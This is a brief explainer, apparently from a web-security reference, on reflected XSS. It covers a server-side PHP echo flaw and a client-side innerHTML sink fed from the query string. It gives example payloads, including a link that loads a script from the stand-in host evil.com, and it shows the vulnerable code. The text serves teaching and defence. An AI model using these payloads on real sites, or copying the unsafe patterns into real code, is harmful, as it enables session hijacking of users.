Reflected XSS injects a payload that is carried in the request URL and echoed back into the rendered page. The victim must visit a malicious link (typically delivered via phishing or a redirect from the attacker’s site). The payload then executes on the target origin and can hijack the session.
Server-side variant
Example
<?php echo $_GET['p']; ?>
A crafted link https://bank.com?p=<script src=//evil.com> is reflected verbatim by the server, so the victim’s browser executes evil.com’s script inside bank.com.
Client-side variant
Example
The payload never reaches the server; the page’s own JavaScript reads it from location.search and writes it into the DOM through an unsafe sink:
foo.innerHTML = new URLSearchParams(location.search).get('p');
With the URL https://bank.com?p=<img src=x onerror=alert(1)> the <img>’s onerror runs as bank.com. The injection source is the query string; the injection sink is innerHTML. See XSS Sanitization.